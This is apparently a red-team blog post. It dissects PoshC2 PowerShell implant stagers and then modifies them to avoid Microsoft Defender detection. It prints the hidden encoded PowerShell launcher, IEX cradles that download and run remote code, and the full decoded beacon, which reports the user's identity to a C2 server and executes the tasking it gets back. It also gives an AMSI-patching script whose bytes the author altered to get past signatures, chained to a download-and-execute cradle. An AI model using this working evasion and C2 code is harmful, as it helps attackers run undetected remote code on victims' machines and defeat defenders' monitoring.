PoshC2 implant analysis + small opsec improvements

Initial Analysis

I was recently doing some analysis on PoshC2 beacons, and, why they're getting killed out of the box by defender. My starting point is the standard payload which passes a base64 encoded string to a Non-interactive, hidden powershell prompt:

powershell -exec bypass -Noninteractive -windowstyle hidden -e WwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGw

This base64 encoded string, decodes to the following - another IEX cradle pulling more code. It's worth noting at this point that both of these get killed by defender when inputted into a PS console, let's keep unraveling.

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
IEX (new-object system.net.webclient).downloadstring('')

If we browse to the URL which is hosting the payload, we can observe the following:

So, another powershell child process is being spawned D: Passing an encoded string in the command line once again. From a tradecraft perspective this isn't great and is providing plenty noise for the Blue team to get a sniff. Let's decode this second encoded string:

It decodes to the string above, a gzipped, base64 encoded string. At this stage when we input this into a powershell window, we no longer get killed - we just receive a message from PS stating that our AV has blocked it, this is just AMSI using signatures and blocking the input :D

Let's decode again!

Finally, we get to the raw payload:

[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
function CAM ($key,$IV){
try {$a = New-Object "System.Security.Cryptography.RijndaelManaged"
} catch {$a = New-Object "System.Security.Cryptography.AesCryptoServiceProvider"}
$a.Mode = [System.Security.Cryptography.CipherMode]::CBC
$a.Padding = [System.Security.Cryptography.PaddingMode]::Zeros
$a.BlockSize = 128
$a.KeySize = 256
if ($IV)
if ($IV.getType().Name -eq "String")
{$a.IV = [System.Convert]::FromBase64String($IV)}
{$a.IV = $IV}
if ($key)
if ($key.getType().Name -eq "String")
{$a.Key = [System.Convert]::FromBase64String($key)}
{$a.Key = $key}
function ENC ($key,$un){
$b = [System.Text.Encoding]::UTF8.GetBytes($un)
$a = CAM $key
$e = $a.CreateEncryptor()
$f = $e.TransformFinalBlock($b, 0, $b.Length)
[byte[]] $p = $a.IV + $f
function DEC ($key,$enc){
$b = [System.Convert]::FromBase64String($enc)
$IV = $b[0..15]
$a = CAM $key $IV
$d = $a.CreateDecryptor()
$u = $d.TransformFinalBlock($b, 16, $b.Length - 16)
function Get-Webclient ($Cookie) {
$d = (Get-Date -Format "dd/MM/yyyy");
$d = [datetime]::ParseExact($d,"dd/MM/yyyy",$null);
$k = [datetime]::ParseExact("01/03/2020","dd/MM/yyyy",$null);
if ($k -lt $d) {exit}
$username = ""
$password = ""
$proxyurl = ""
$wc = New-Object System.Net.WebClient;

if ($h -and (($psversiontable.CLRVersion.Major -gt 2))) {$wc.Headers.Add("Host",$h)}
$wc.Headers.Add("User-Agent","Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari/537.36")
if ($proxyurl) {
$wp = New-Object System.Net.WebProxy($proxyurl,$true);
if ($username -and $password) {
$PSS = ConvertTo-SecureString $password -AsPlainText -Force;
$getcreds = new-object system.management.automation.PSCredential $username,$PSS;
$wp.Credentials = $getcreds;
} else { $wc.UseDefaultCredentials = $true; }
$wc.Proxy = $wp; } else {
$wc.UseDefaultCredentials = $true;
$wc.Proxy.Credentials = $wc.Credentials;
} if ($cookie) { $wc.Headers.Add([System.Net.HttpRequestHeader]::Cookie, "SessionID=$Cookie") }
$wc }
function primer {
$cu = [System.Security.Principal.WindowsIdentity]::GetCurrent()
$wp = New-Object System.Security.Principal.WindowsPrincipal($cu)
$ag = [System.Security.Principal.WindowsBuiltInRole]::Administrator
if ($wp.IsInRole($ag)){$el="*"}else{$el=""}
try{$u=($cu).name+$el} catch{if ($env:username -eq "$($env:computername)$"){}else{$u=$env:username}}
try {$pp=enc -key V3Azb3obMbvkIwZbgyrXMrEsNWrVgklLk6TVtd38e1w= -un $o} catch {$pp="ERROR"}
$primer = (Get-Webclient -Cookie $pp).downloadstring($s)
$p = dec -key V3Azb3obMbvkIwZbgyrXMrEsNWrVgklLk6TVtd38e1w= -enc $primer
if ($p -like "*key*") {$p| iex}
try {primer} catch {}
Start-Sleep 300
try {primer} catch {}
Start-Sleep 600
try {primer} catch {}

At this stage we can see the same settings which we configured server side using posh-config, such as URI, user agent etc.

This is still picked up by AMSI, but we're not getting killed at this stage.

Payload Tweaks

Execution Flow

The first tweak I have decided to make is to remove the double powershell.exe invocations with encoded commands, there's almost 0 value in this when we can just pull the payload and execute it within the current thread.

Instead, we just have powershell being executed once:

Having worked in security operations, I almost feel like powershell being executed with encoded parameters is something the SOC are very aware of. If instead, we can obfuscate the IEX cradle in a way which looks like valid behaviour, I feel there is more chance of getting away with it. The command above is just an IEX cradle with some nonsense wrapped around it to look like a Microsoft update, or something xD

AMSI Patch at Stage 1

Since our payload is being caught by AMSI, we can patch out the AmsiScanBuffer function to always return "clean", if we do this right at the start, our PoshC2 beacon will be loaded with no noise, and, all of the other modules will inherit that patch in the current threads memory space.

I typically use RastaMouse's ASBBypass.ps1(here: https://raw.githubusercontent.com/rasta-mouse/AmsiScanBufferBypass/master/ASBBypass.ps1) to achieve this, but like most things it gets picked up when used straight out the box:

Through a small reverse engineering exercise I figured the "malicious" string was in the byte array of the variable $Patch:

$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)

If we change this line to the following:

$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2+0x1)

It works a treat! xD

We can then chain that payload with the raw PoshC2 stager by throwing an IEX cradle at the bottom of the script to execute it in the current thread - AMSI is already patched out at this point.

Stage 1 - being pulled by our "MS-Update-Security" cradle seen before;

$Win32 = @"
using System;
using System.Runtime.InteropServices;

public class Win32 {

    public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);

    public static extern IntPtr LoadLibrary(string name);

    public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);


Add-Type $Win32

$LoadLibrary = [Win32]::LoadLibrary("am" + "si.dll")
$Address = [Win32]::GetProcAddress($LoadLibrary, "Amsi" + "Scan" + "Buffer")
$p = 0
[Win32]::VirtualProtect($Address, [uint32]5, 0x40, [ref]$p)
$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2+0x1)
[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)
IEX (New-Object Net.WebClient).DownloadString("")

Which then loads stage 2, in this case, just our raw decoded PoshC2 payload seen before. I decided to use the raw payload due to opsec considerations around ScriptBlockLogging. Again, I believe blue teams will be more likely to log on gzip decompressions than to fingerprint some of the specifics around a PoshC2 stager - maybe not tho?

Hopefully the slight tweaks in this payload reduce the risk of Blue catching the beacon, by reducing the child processes involved and removing simple indicators from the blue team. The slight tweaks also allow PoshC2 beacons to run on endpoints with latest MS defender security updates by bypassing AMSI off-the-bat.

Last updated